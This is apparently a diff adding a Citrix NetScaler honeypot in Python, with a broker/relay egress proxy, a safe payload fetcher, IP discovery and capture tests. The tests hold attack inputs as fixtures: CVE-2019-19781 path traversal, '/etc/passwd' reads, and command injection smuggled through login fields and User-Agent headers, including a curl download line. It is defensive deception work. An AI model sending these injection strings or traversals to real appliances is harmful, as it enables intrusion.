||||||
|
with socket.create_connection(self.server.broker, timeout=10) as remote:
|
||||||
|
send_message(remote, {'op': 'connect', 'ip': ip, 'port': port})
|
||||||
|
if read_message(remote).get('ok'):
|
||||||
|
pipe(self.request, remote)
|
||||||
|
except (OSError, ValueError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def dns_reply(packet, broker):
|
||||||
|
if len(packet) < 12 or len(packet) > 512:
|
||||||
|
return None
|
||||||
|
ident, flags, questions, _, _, _ = struct.unpack('!6H', packet[:12])
|
||||||
|
if questions != 1 or flags & 0xf800:
|
||||||
|
return None
|
||||||
|
labels, offset = [], 12
|
||||||
|
while offset < len(packet):
|
||||||
|
size = packet[offset]
|
||||||
|
offset += 1
|
||||||
|
if not size:
|
||||||
|
break
|
||||||
|
if size > 63 or offset + size > len(packet):
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
labels.append(packet[offset:offset + size].decode('ascii'))
|
||||||
|
except UnicodeDecodeError:
|
||||||
|
return None
|
||||||
|
offset += size
|
||||||
|
if offset + 4 != len(packet):
|
||||||
|
return None
|
||||||
|
qtype, qclass = struct.unpack('!HH', packet[offset:])
|
||||||
|
addresses, rcode = [], 0
|
||||||
|
if qclass == 1 and qtype == 1:
|
||||||
|
try:
|
||||||
|
with socket.create_connection(broker, timeout=5) as remote:
|
||||||
|
send_message(remote, {'op': 'dns', 'name': '.'.join(labels)})
|
||||||
|
reply = read_message(remote)
|
||||||
|
addresses = [public_ip(a) for a in reply.get('addresses', [])][:16] if reply.get('ok') else []
|
||||||
|
if not addresses:
|
||||||
|
rcode = 3
|
||||||
|
except (OSError, ValueError, TypeError):
|
||||||
|
rcode = 2
|
||||||
|
# Empty answer for AAAA/unsupported types avoids leaking around the broker.
|
||||||
|
header = struct.pack('!6H', ident, 0x8080 | (flags & 0x100) | rcode, 1, len(addresses), 0, 0)
|
||||||
|
answers = b''.join(b'\xc0\x0c' + struct.pack('!HHIH', 1, 1, 30, 4) + socket.inet_aton(ip) for ip in addresses)
|
||||||
|
return header + packet[12:] + answers
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description=__doc__)
|
||||||
|
parser.add_argument('--role', choices=('broker', 'relay'), required=True)
|
||||||
|
parser.add_argument('--listen', default='127.0.0.1')
|
||||||
|
parser.add_argument('--port', type=int)
|
||||||
|
parser.add_argument('--broker', default='10.0.2.100')
|
||||||
|
parser.add_argument('--broker-port', type=int, default=19090)
|
||||||
|
parser.add_argument('--dns-port', type=int, default=53)
|
||||||
|
parser.add_argument('--evidence', default='/var/lib/decoy/network')
|
||||||
|
parser.add_argument('--quota-mib', type=int, default=8192)
|
||||||
|
parser.add_argument('--peers', default='/var/lib/decoy/allowed-peers.json')
|
||||||
|
args = parser.parse_args()
|
||||||
|
if args.role == 'broker':
|
||||||
|
evidence = Evidence(args.evidence, quota=args.quota_mib * 1024 ** 2)
|
||||||
|
server = Server((args.listen, args.port or 19090), Broker, evidence=evidence, peers=args.peers)
|
||||||
|
else:
|
||||||
|
broker = (args.broker, args.broker_port)
|
||||||
|
# Bind DNS before serving TCP so a bind failure prevents partial startup.
|
||||||
|
dns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
dns.bind(('127.0.0.1', args.dns_port))
|
||||||
|
def serve_dns():
|
||||||
|
while True:
|
||||||
|
packet, peer = dns.recvfrom(513)
|
||||||
|
response = dns_reply(packet, broker)
|
||||||
|
if response:
|
||||||
|
dns.sendto(response, peer)
|
||||||
|
threading.Thread(target=serve_dns, daemon=True).start()
|
||||||
|
server = Server((args.listen, args.port or 15001), Relay, broker=broker)
|
||||||
|
with server:
|
||||||
|
server.serve_forever()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
@@ -0,0 +1,113 @@
|
|||||||
|
"""Strict outbound payload fetcher. HTTP(S) GET only; never executes, pipes or writes files.
|
||||||
|
|
||||||
|
Egress policy: only http/https on ports 80/443; the host must resolve exclusively to global
|
||||||
|
unicast addresses (private/loopback/link-local/metadata rejected); the validated IP is pinned
|
||||||
|
for the actual connect so DNS rebinding cannot redirect it; redirects are re-validated and
|
||||||
|
depth-limited; size and time are bounded. Downloaded bytes go only to inert evidence storage.
|
||||||
|
"""
|
||||||
|
import http.client
|
||||||
|
import ipaddress
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import ssl
|
||||||
|
import threading
|
||||||
|
import urllib.parse
|
||||||
|
|
||||||
|
URL_RE = re.compile(r'https?://[^\s\'"`;|&$()<>\\]+', re.I)
|
||||||
|
MAX_BYTES = 16 * 1024 * 1024
|
||||||
|
TIMEOUT = 10
|
||||||
|
ALLOWED_PORTS = (80, 443)
|
||||||
|
|
||||||
|
|
||||||
|
def extract_urls(text):
|
||||||
|
return URL_RE.findall(text or '')
|
||||||
|
|
||||||
|
|
||||||
|
def public_addresses(host):
|
||||||
|
infos = socket.getaddrinfo(host, None, proto=socket.IPPROTO_TCP)
|
||||||
|
addresses = []
|
||||||
|
for info in infos:
|
||||||
|
address = info[4][0]
|
||||||
|
ip = ipaddress.ip_address(address)
|
||||||
|
if not ip.is_global or ip.is_multicast:
|
||||||
|
raise ValueError('host resolves to a non-public address')
|
||||||
|
if address not in addresses:
|
||||||
|
addresses.append(address)
|
||||||
|
if not addresses:
|
||||||
|
raise ValueError('host did not resolve')
|
||||||
|
return addresses
|
||||||
|
|
||||||
|
|
||||||
|
class _PinnedHTTP(http.client.HTTPConnection):
|
||||||
|
def __init__(self, host, ip, port):
|
||||||
|
super().__init__(host, port, timeout=TIMEOUT)
|
||||||
|
self._ip = ip
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.sock = socket.create_connection((self._ip, self.port), self.timeout)
|
||||||
|
|
||||||
|
|
||||||
|
class _PinnedHTTPS(http.client.HTTPSConnection):
|
||||||
|
def __init__(self, host, ip, port):
|
||||||
|
super().__init__(host, port, timeout=TIMEOUT, context=ssl.create_default_context())
|
||||||
|
self._ip = ip
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
raw = socket.create_connection((self._ip, self.port), self.timeout)
|
||||||
|
self.sock = self._context.wrap_socket(raw, server_hostname=self.host)
|
||||||
|
|
||||||
|
|
||||||
|
class Fetcher:
|
||||||
|
def __init__(self, emit, resolver=public_addresses, max_bytes=MAX_BYTES,
|
||||||
|
ports=ALLOWED_PORTS, redirects=3, slots=4, on_failure=None):
|
||||||
|
self.emit, self.resolver, self.on_failure = emit, resolver, on_failure
|
||||||
|
self.max_bytes, self.ports, self.redirects = max_bytes, ports, redirects
|
||||||
|
self.slots = threading.BoundedSemaphore(slots)
|
||||||
|
|
||||||
|
def submit(self, text, context):
|
||||||
|
for url in list(dict.fromkeys(extract_urls(text)))[:4]:
|
||||||
|
if not self.slots.acquire(False):
|
||||||
|
self._safe_emit('payload_fetch_rejected', url=url, reason='concurrency', **context)
|
||||||
|
continue
|
||||||
|
threading.Thread(target=self._run, args=(url, context), daemon=True).start()
|
||||||
|
|
||||||
|
def _safe_emit(self, event, **data):
|
||||||
|
try:
|
||||||
|
self.emit(event, **data)
|
||||||
|
except OSError as error:
|
||||||
|
if self.on_failure:
|
||||||
|
self.on_failure(error)
|
||||||
|
|
||||||
|
def _run(self, url, context):
|
||||||
|
try:
|
||||||
|
self._fetch(url, context)
|
||||||
|
except Exception as error:
|
||||||
|
self._safe_emit('payload_fetch_error', url=url, error=type(error).__name__, **context)
|
||||||
|
finally:
|
||||||
|
self.slots.release()
|
||||||
|
|
||||||
|
def _fetch(self, url, context, depth=0):
|
||||||
|
parts = urllib.parse.urlsplit(url)
|
||||||
|
if parts.scheme not in ('http', 'https') or not parts.hostname:
|
||||||
|
raise ValueError('blocked scheme or host')
|
||||||
|
port = parts.port or (443 if parts.scheme == 'https' else 80)
|
||||||
|
if port not in self.ports:
|
||||||
|
raise ValueError('blocked port')
|
||||||
|
addresses = self.resolver(parts.hostname)
|
||||||
|
connection = (_PinnedHTTPS if parts.scheme == 'https' else _PinnedHTTP)(
|
||||||
|
parts.hostname, addresses[0], port)
|
||||||
|
path = urllib.parse.urlunsplit(('', '', parts.path or '/', parts.query, ''))
|
||||||
|
try:
|
||||||
|
connection.request('GET', path, headers={'Host': parts.hostname,
|
||||||
|
'User-Agent': 'CitrixGateway', 'Accept': '*/*', 'Connection': 'close'})
|
||||||
|
response = connection.getresponse()
|
||||||
|
data = response.read(self.max_bytes + 1)
|
||||||
|
status, location = response.status, response.getheader('Location')
|
||||||
|
content_type = (response.getheader('Content-Type') or '')[:200]
|
||||||
|
finally:
|
||||||
|
connection.close()
|
||||||
|
self._safe_emit('payload_download', url=url, status=status, content_type=content_type,
|
||||||
|
truncated=len(data) > self.max_bytes, content=data[:self.max_bytes], **context)
|
||||||
|
# ponytail: only 3 redirect hops; raise the cap if a real payload chain needs more.
|
||||||
|
if location and status in (301, 302, 303, 307, 308) and depth < self.redirects:
|
||||||
|
self._fetch(urllib.parse.urljoin(url, location), context, depth + 1)
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Resolve this host's public IP so the viewer can hide operator traffic.
|
||||||
|
|
||||||
|
Loopback/private addresses are ignored. Use `--loop --interval 1800` to run it as a
|
||||||
|
30-minute refresher; the viewer imports discover() directly and refreshes itself.
|
||||||
|
"""
|
||||||
|
import argparse
|
||||||
|
import ipaddress
|
||||||
|
import time
|
||||||
|
import urllib.request
|
||||||
|
|
||||||
|
ENDPOINTS = ('https://api.ipify.org', 'https://ifconfig.me/ip',
|
||||||
|
'https://icanhazip.com', 'https://1.1.1.1/cdn-cgi/trace')
|
||||||
|
|
||||||
|
|
||||||
|
def discover(timeout=6):
|
||||||
|
for url in ENDPOINTS:
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(url, timeout=timeout) as response:
|
||||||
|
text = response.read(256).decode('utf-8', 'replace')
|
||||||
|
except (OSError, ValueError):
|
||||||
|
continue
|
||||||
|
for token in text.replace('ip=', ' ').split():
|
||||||
|
try:
|
||||||
|
ip = ipaddress.ip_address(token.strip())
|
||||||
|
except ValueError:
|
||||||
|
continue
|
||||||
|
if ip.is_global:
|
||||||
|
return str(ip)
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
parser = argparse.ArgumentParser(description=__doc__)
|
||||||
|
parser.add_argument('--loop', action='store_true', help='keep refreshing')
|
||||||
|
parser.add_argument('--interval', type=int, default=1800)
|
||||||
|
args = parser.parse_args()
|
||||||
|
while True:
|
||||||
|
print(discover() or '', flush=True)
|
||||||
|
if not args.loop:
|
||||||
|
break
|
||||||
|
time.sleep(args.interval)
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
"""Private auth detection must not change attacker-visible responses."""
|
||||||
|
import http.client
|
||||||
|
import threading
|
||||||
|
from honeypot import Engine, Server
|
||||||
|
|
||||||
|
rows = []
|
||||||
|
engine = Engine(lambda event, **data: rows.append(dict(event=event, **data)))
|
||||||
|
server = Server(('127.0.0.1', 0), engine, serve_guest_files=False)
|
||||||
|
thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
responses = []
|
||||||
|
try:
|
||||||
|
for _ in range(12):
|
||||||
|
conn = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3)
|
||||||
|
conn.request('POST', '/nf/auth/doAuthentication.do', 'login=fixture&passwd=synthetic',
|
||||||
|
{'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': '203.0.113.9'})
|
||||||
|
response = conn.getresponse()
|
||||||
|
responses.append((response.status, response.read()))
|
||||||
|
assert not any('brute' in k.lower() or 'rate' in k.lower() for k, _ in response.getheaders())
|
||||||
|
conn.close()
|
||||||
|
assert len(set(responses)) == 1
|
||||||
|
attempts = [r for r in rows if r['event'] == 'auth_attempt']
|
||||||
|
assert [r['attempts_in_window'] for r in attempts] == list(range(1,13))
|
||||||
|
assert all(r['peer'] == '127.0.0.1' and r['request_id'] for r in attempts)
|
||||||
|
alerts = [r for r in rows if r['event'] == 'brute_force_suspected']
|
||||||
|
assert len(alerts) == 1 and alerts[0]['attempts_in_window'] == 10
|
||||||
|
state = engine.session('127.0.0.1')
|
||||||
|
state.auth_started -= 301
|
||||||
|
engine.auth_attempt(state, {'peer': '127.0.0.1'}, '/nf/auth/doAuthentication.do')
|
||||||
|
assert rows[-1]['attempts_in_window'] == 1
|
||||||
|
other = engine.session('192.0.2.1')
|
||||||
|
engine.auth_attempt(other, {'peer': '192.0.2.1'}, '/nf/auth/doAuthentication.do')
|
||||||
|
assert rows[-1]['attempts_in_window'] == 1
|
||||||
|
finally:
|
||||||
|
server.shutdown()
|
||||||
|
server.server_close()
|
||||||
|
thread.join(3)
|
||||||
|
print('PASS: private per-IP auth detection, spoof rejection, fixed-window reset, unchanged responses')
|
||||||
@@ -0,0 +1,75 @@
|
|||||||
|
"""Run: python3 test_capture.py. Proves every exploit attempt, command and payload is persisted."""
|
||||||
|
import hashlib
|
||||||
|
import http.client
|
||||||
|
import json
|
||||||
|
import pathlib
|
||||||
|
import tempfile
|
||||||
|
import threading
|
||||||
|
|
||||||
|
from honeypot import Engine, Server, extract
|
||||||
|
from evidence import Evidence
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
workspace = tempfile.TemporaryDirectory()
|
||||||
|
evidence = Evidence(workspace.name)
|
||||||
|
rows = []
|
||||||
|
|
||||||
|
def sink(event, **data):
|
||||||
|
rows.append(dict(event=event, **data))
|
||||||
|
evidence.emit(event, **data)
|
||||||
|
|
||||||
|
engine = Engine(sink, delay=0, save=evidence.save)
|
||||||
|
server = Server(('127.0.0.1', 0), engine)
|
||||||
|
thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
def request(method, path, body=None, headers=None):
|
||||||
|
connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3)
|
||||||
|
connection.request(method, path, body=body, headers=headers or {})
|
||||||
|
response = connection.getresponse()
|
||||||
|
result = response.status, response.read()
|
||||||
|
connection.close()
|
||||||
|
return result
|
||||||
|
|
||||||
|
try:
|
||||||
|
request('GET', '/vpn/../vpns/cfg/smb.conf')
|
||||||
|
assert any(e['event'] == 'exploit_attempt' and 'CVE-2019-19781' in e['signatures'] for e in rows)
|
||||||
|
request('GET', '/../../etc/passwd')
|
||||||
|
assert any(e['event'] == 'exploit_attempt' and 'path-traversal' in e['signatures'] for e in rows)
|
||||||
|
request('GET', '/flash/nsconfig/ns.conf')
|
||||||
|
assert any(e['event'] == 'exploit_attempt' and 'config-read' in e['signatures'] for e in rows)
|
||||||
|
|
||||||
|
payload = b'\x00\x01MZ-inert-capture-test\xff\xfe' * 100
|
||||||
|
request('PUT', '/dropper.bin', payload, {'Content-Type': 'application/octet-stream'})
|
||||||
|
digest = hashlib.sha256(payload).hexdigest()
|
||||||
|
assert (pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')).read_bytes() == payload
|
||||||
|
upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload')
|
||||||
|
assert upload['evidence'] == {'sha256': digest, 'bytes': len(payload), 'artifact': 'artifacts/' + digest + '.bin'}
|
||||||
|
|
||||||
|
assert extract('pitboss PPE unexpectedly died NSPPE;:`curl http://198.51.100.9/a.sh -o /tmp/a`;# X') \
|
||||||
|
== 'curl http://198.51.100.9/a.sh -o /tmp/a'
|
||||||
|
value = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/cap.txt`;# X'
|
||||||
|
request('GET', '/', headers={'User-Agent': value})
|
||||||
|
candidate = next(e for e in reversed(rows) if e['event'] == 'injection_candidate')
|
||||||
|
assert candidate['command'] == 'id>/netscaler/ns_gui/cap.txt'
|
||||||
|
engine.tick()
|
||||||
|
run = next(e for e in rows if e['event'] == 'simulated_command' and e.get('output', '').startswith('uid='))
|
||||||
|
assert run['argv'] == ['id', '>', '/netscaler/ns_gui/cap.txt'] and run['cwd']
|
||||||
|
assert any(e['event'] == 'virtual_file_write' for e in rows)
|
||||||
|
|
||||||
|
journal = [json.loads(line) for line in (pathlib.Path(workspace.name) / 'events.jsonl').read_text().splitlines()]
|
||||||
|
kinds = {e['event'] for e in journal}
|
||||||
|
assert {'exploit_attempt', 'upload_or_raw_payload', 'request_body', 'injection_candidate',
|
||||||
|
'simulated_command', 'virtual_file_write'} <= kinds
|
||||||
|
finally:
|
||||||
|
server.shutdown()
|
||||||
|
server.server_close()
|
||||||
|
thread.join(3)
|
||||||
|
evidence.close()
|
||||||
|
workspace.cleanup()
|
||||||
|
print('PASS: exploit attempts, exact payload bytes and simulated commands are all persisted')
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
"""Run: python3 test_client_ip.py. Real client IP is trusted only from configured proxy hops."""
|
||||||
|
import http.client
|
||||||
|
import threading
|
||||||
|
|
||||||
|
from honeypot import Engine, Server
|
||||||
|
from trusted_proxy import forwarded_client
|
||||||
|
|
||||||
|
assert forwarded_client({'CF-Connecting-IP': '8.8.8.8'}) == ('8.8.8.8', 'CF-Connecting-IP')
|
||||||
|
assert forwarded_client({'CF-Connecting-IP': '10.0.0.1', 'X-Forwarded-For': '1.1.1.1'}) == ('1.1.1.1', 'X-Forwarded-For')
|
||||||
|
assert forwarded_client({'X-Forwarded-For': '10.0.0.1, 9.9.9.9, 10.0.0.2'}) == ('9.9.9.9', 'X-Forwarded-For')
|
||||||
|
assert forwarded_client({'CF-Connecting-IP': 'not-an-ip'}) == (None, None)
|
||||||
|
assert forwarded_client({}) == (None, None)
|
||||||
|
|
||||||
|
|
||||||
|
def run(trusted):
|
||||||
|
rows = []
|
||||||
|
engine = Engine(lambda event, **data: rows.append(dict(event=event, **data)), delay=0)
|
||||||
|
server = Server(('127.0.0.1', 0), engine, trusted_forwarded=trusted)
|
||||||
|
thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
try:
|
||||||
|
connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3)
|
||||||
|
connection.request('GET', '/', headers={'CF-Connecting-IP': '8.8.8.8',
|
||||||
|
'X-Forwarded-For': '10.0.0.1, 1.1.1.1'})
|
||||||
|
assert connection.getresponse().status == 200
|
||||||
|
connection.close()
|
||||||
|
finally:
|
||||||
|
server.shutdown()
|
||||||
|
server.server_close()
|
||||||
|
thread.join(3)
|
||||||
|
return next(row for row in rows if row['event'] == 'request')
|
||||||
|
|
||||||
|
|
||||||
|
# Untrusted hop: the spoofable header is ignored and the socket peer is authoritative.
|
||||||
|
assert run(()).get('peer') == '127.0.0.1'
|
||||||
|
# Trusted hop (loopback stands in for the edge proxy): the real client IP wins, proxy is retained.
|
||||||
|
request = run(('127.0.0.0/8',))
|
||||||
|
assert request['peer'] == '8.8.8.8' and request['client_ip_source'] == 'CF-Connecting-IP'
|
||||||
|
assert request['proxy_peer'] == '127.0.0.1'
|
||||||
|
print('PASS: forwarded client IP trusted only from configured proxies; spoofing rejected')
|
||||||
@@ -0,0 +1,184 @@
|
|||||||
|
"""Run: python3 test_honeypot.py (loopback only, no third-party dependencies)."""
|
||||||
|
import http.client
|
||||||
|
import hashlib
|
||||||
|
import json
|
||||||
|
import pathlib
|
||||||
|
import socket
|
||||||
|
import stat
|
||||||
|
import tempfile
|
||||||
|
import threading
|
||||||
|
import urllib.parse
|
||||||
|
|
||||||
|
from honeypot import Engine, Server, MAX_BODY, MAX_PENDING, extract, simulate
|
||||||
|
from evidence import Evidence
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
events = []
|
||||||
|
workspace = tempfile.TemporaryDirectory()
|
||||||
|
evidence = Evidence(workspace.name)
|
||||||
|
def emit(event, **data):
|
||||||
|
events.append(dict(event=event, **data))
|
||||||
|
evidence.emit(event, **data)
|
||||||
|
engine = Engine(emit, delay=0, save=evidence.save)
|
||||||
|
server = Server(('127.0.0.1', 0), engine)
|
||||||
|
thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
def request(method, path, body=None, headers=None):
|
||||||
|
connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3)
|
||||||
|
connection.request(method, path, body=body, headers=headers or {})
|
||||||
|
response = connection.getresponse()
|
||||||
|
result = response.status, response.read()
|
||||||
|
connection.close()
|
||||||
|
return result
|
||||||
|
try:
|
||||||
|
assert request('GET', '/')[0] == 200
|
||||||
|
# Benign local marker through documented login field; no real commands execute.
|
||||||
|
value = 'pitboss PPE unexpectedly died NSPPE;`id>/netscaler/ns_gui/probe.txt`;# X'
|
||||||
|
body = urllib.parse.urlencode({'login': value, 'passwd': 'synthetic'})
|
||||||
|
assert request('POST', '/nf/auth/doAuthentication.do', body,
|
||||||
|
{'Content-Type': 'application/x-www-form-urlencoded'})[0] == 200
|
||||||
|
assert request('GET', '/probe.txt')[0] == 404 # deferred until log pickup
|
||||||
|
engine.tick()
|
||||||
|
status, content = request('GET', '/probe.txt')
|
||||||
|
assert status == 200 and b'uid=0(root)' in content
|
||||||
|
assert any(e['event'] == 'virtual_file_write' for e in events)
|
||||||
|
# Public write-up names User-Agent as a log source; use its shape with a local harmless marker.
|
||||||
|
ua = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/ua-probe.txt`;# X'
|
||||||
|
assert request('GET', '/', headers={'User-Agent': ua})[0] == 200
|
||||||
|
candidate = next(e for e in reversed(events) if e['event'] == 'injection_candidate')
|
||||||
|
assert candidate['source'] == 'header:User-Agent' and candidate['value'] == ua
|
||||||
|
assert candidate['peer'] == '127.0.0.1' and candidate['peer_port'] > 0
|
||||||
|
assert request('GET', '/ua-probe.txt')[0] == 404
|
||||||
|
engine.tick()
|
||||||
|
status, content = request('GET', '/ua-probe.txt')
|
||||||
|
assert status == 200 and b'uid=0(root)' in content
|
||||||
|
write = next(e for e in events if e['event'] == 'virtual_file_write' and e['path'].endswith('/ua-probe.txt'))
|
||||||
|
assert write['request_id'] == candidate['request_id'] and write['session'] == candidate['session']
|
||||||
|
assert write['peer'] == candidate['peer'] and write['peer_port'] == candidate['peer_port']
|
||||||
|
assert request('GET', '/../../etc/passwd')[0] == 404
|
||||||
|
assert request('POST', '/', headers={'Content-Length': str(MAX_BODY + 1)})[0] == 413
|
||||||
|
assert request('POST', '/', b'0\r\n\r\n', {'Transfer-Encoding': 'chunked', 'Content-Length': '5'})[0] == 400
|
||||||
|
assert extract('ordinary login') is None
|
||||||
|
assert extract('pitboss: NSPPE-00 (12345) unexpectedly died') is None
|
||||||
|
state = engine.session('127.0.0.1')
|
||||||
|
with tempfile.TemporaryDirectory() as directory:
|
||||||
|
marker = pathlib.Path(directory) / 'must-not-exist'
|
||||||
|
simulate(state, f'echo harmless > {marker}', engine.emit)
|
||||||
|
assert not marker.exists() and state.files[str(marker)] == 'harmless\n'
|
||||||
|
simulate(state, 'curl https://example.invalid/payload', engine.emit)
|
||||||
|
assert events[-2]['event'] == 'outbound_attempt'
|
||||||
|
other = engine.session('192.0.2.1')
|
||||||
|
assert '/netscaler/ns_gui/probe.txt' not in other.files
|
||||||
|
engine.ingest(state, [('header:User-Agent', value)] * (MAX_PENDING + 5))
|
||||||
|
assert len(state.pending) == MAX_PENDING
|
||||||
|
assert any(e['event'] == 'limit' for e in events)
|
||||||
|
payload = b'\x00\xffMZ-inert-test-fixture\r\n\x00'
|
||||||
|
assert request('PUT', '/sample.bin', payload, {'Content-Type': 'application/octet-stream'})[0] == 404
|
||||||
|
digest = hashlib.sha256(payload).hexdigest()
|
||||||
|
artifact = pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')
|
||||||
|
assert artifact.read_bytes() == payload
|
||||||
|
assert stat.S_IMODE(artifact.stat().st_mode) == 0o600
|
||||||
|
multipart = (b'--testboundary\r\nContent-Disposition: form-data; name="file"; filename="../../escape.bin"\r\n'
|
||||||
|
b'Content-Type: application/octet-stream\r\n\r\n' + payload + b'\r\n--testboundary--\r\n')
|
||||||
|
assert request('POST', '/upload', multipart, {'Content-Type': 'multipart/form-data; boundary=testboundary'})[0] == 404
|
||||||
|
upload = next(e for e in events if e['event'] == 'upload')
|
||||||
|
assert upload['filename'] == '../../escape.bin' and upload['evidence']['sha256'] == digest
|
||||||
|
assert upload['peer'] == '127.0.0.1' and upload['peer_port'] > 0
|
||||||
|
assert not (pathlib.Path(workspace.name) / 'escape.bin').exists()
|
||||||
|
def raw_request(raw):
|
||||||
|
with socket.create_connection(('127.0.0.1', server.server_port), timeout=3) as connection:
|
||||||
|
connection.sendall(raw)
|
||||||
|
connection.shutdown(socket.SHUT_WR)
|
||||||
|
result = bytearray()
|
||||||
|
while chunk := connection.recv(65536):
|
||||||
|
result.extend(chunk)
|
||||||
|
return bytes(result)
|
||||||
|
raw = (b'POST /upload HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n'
|
||||||
|
b'Transfer-Encoding: chunked\r\n\r\n'
|
||||||
|
+ hex(len(payload))[2:].encode() + b'\r\n' + payload + b'\r\n0\r\nX-Test: trailer\r\n\r\n')
|
||||||
|
assert b'404' in raw_request(raw).split(b'\r\n')[0]
|
||||||
|
wire_digest = hashlib.sha256(raw).hexdigest()
|
||||||
|
# Wait for finally-recorded evidence after the response has closed.
|
||||||
|
assert (pathlib.Path(workspace.name) / 'artifacts' / (wire_digest + '.bin')).read_bytes() == raw
|
||||||
|
assert b'200' in raw_request(b'CUSTOM / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n').split(b'\r\n')[0]
|
||||||
|
assert b'400' in raw_request(b'not-http\r\n')
|
||||||
|
partial = b'PUT / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 10\r\n\r\nabc'
|
||||||
|
assert b'400' in raw_request(partial)
|
||||||
|
partial_hash = hashlib.sha256(partial).hexdigest()
|
||||||
|
assert (pathlib.Path(workspace.name) / 'artifacts' / (partial_hash + '.bin')).exists()
|
||||||
|
writes = [e for e in events if e['event'] == 'virtual_file_write' and 'request_id' in e]
|
||||||
|
assert writes and writes[0]['peer'] == '127.0.0.1'
|
||||||
|
assert any(e['event'] == 'request' and e['request_id'] == writes[0]['request_id'] for e in events)
|
||||||
|
rows = [json.loads(line) for line in (pathlib.Path(workspace.name) / 'events.jsonl').read_text().splitlines()]
|
||||||
|
assert all('timestamp' in row and 'time_ns' in row for row in rows)
|
||||||
|
tiny = Evidence(pathlib.Path(workspace.name) / 'quota-test', quota=3)
|
||||||
|
try:
|
||||||
|
tiny.save(b'abc')
|
||||||
|
try:
|
||||||
|
tiny.save(b'over quota')
|
||||||
|
raise AssertionError('quota not enforced')
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
assert tiny.save(b'abc')['bytes'] == 3 # dedup still works at quota
|
||||||
|
finally:
|
||||||
|
tiny.close()
|
||||||
|
failing_store = Evidence(pathlib.Path(workspace.name) / 'stop-test', quota=1)
|
||||||
|
failing_server = Server(('127.0.0.1', 0), Engine(failing_store.emit, save=failing_store.save))
|
||||||
|
failing_thread = threading.Thread(target=failing_server.serve_forever, daemon=True)
|
||||||
|
failing_thread.start()
|
||||||
|
try:
|
||||||
|
with socket.create_connection(('127.0.0.1', failing_server.server_port), timeout=3) as connection:
|
||||||
|
connection.sendall(b'GET / HTTP/1.0\r\n\r\n')
|
||||||
|
try:
|
||||||
|
connection.recv(1024)
|
||||||
|
except ConnectionResetError:
|
||||||
|
pass
|
||||||
|
failing_thread.join(timeout=3)
|
||||||
|
assert failing_server.capture_failed and not failing_thread.is_alive()
|
||||||
|
finally:
|
||||||
|
failing_server.shutdown()
|
||||||
|
failing_server.server_close()
|
||||||
|
failing_store.close()
|
||||||
|
# Hidden guest files still allow intake/execution and evidence capture, without a guest read.
|
||||||
|
server.serve_guest_files = False
|
||||||
|
assert request('GET', '/probe.txt') == (404, b'Not Found') # existing simulated file
|
||||||
|
class FakeBackend:
|
||||||
|
def __init__(self):
|
||||||
|
self.reads, self.uploads, self.executions = [], [], []
|
||||||
|
def register_peer(self, peer):
|
||||||
|
assert peer == '127.0.0.1'
|
||||||
|
def read(self, path, context):
|
||||||
|
self.reads.append(path)
|
||||||
|
return b'existing-guest-file'
|
||||||
|
def upload(self, data, context):
|
||||||
|
self.uploads.append((data, context.copy()))
|
||||||
|
def execute(self, command, context):
|
||||||
|
self.executions.append((command, context.copy()))
|
||||||
|
fake = FakeBackend()
|
||||||
|
engine.backend = fake
|
||||||
|
engine.tick() # drain the earlier queue-limit fixture
|
||||||
|
assert request('GET', '/probe.txt') == (404, b'Not Found')
|
||||||
|
assert request('GET', '/')[0] == 200 and request('GET', '/favicon.ico')[0] == 200
|
||||||
|
hidden_ua = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/hidden.txt`;# X'
|
||||||
|
assert request('GET', '/hidden.txt', headers={'User-Agent': hidden_ua}) == (404, b'Not Found')
|
||||||
|
candidate = next(e for e in reversed(events) if e['event'] == 'injection_candidate')
|
||||||
|
assert candidate['source'] == 'header:User-Agent'
|
||||||
|
engine.tick()
|
||||||
|
execution = next(item for item in fake.executions if item[0] == 'id>/netscaler/ns_gui/hidden.txt')
|
||||||
|
assert execution[1]['request_id'] == candidate['request_id']
|
||||||
|
assert request('PUT', '/hidden.bin', payload, {'Content-Type': 'application/octet-stream'}) == (404, b'Not Found')
|
||||||
|
assert fake.uploads[-1][0] == payload and artifact.read_bytes() == payload
|
||||||
|
assert not fake.reads
|
||||||
|
engine.backend = None
|
||||||
|
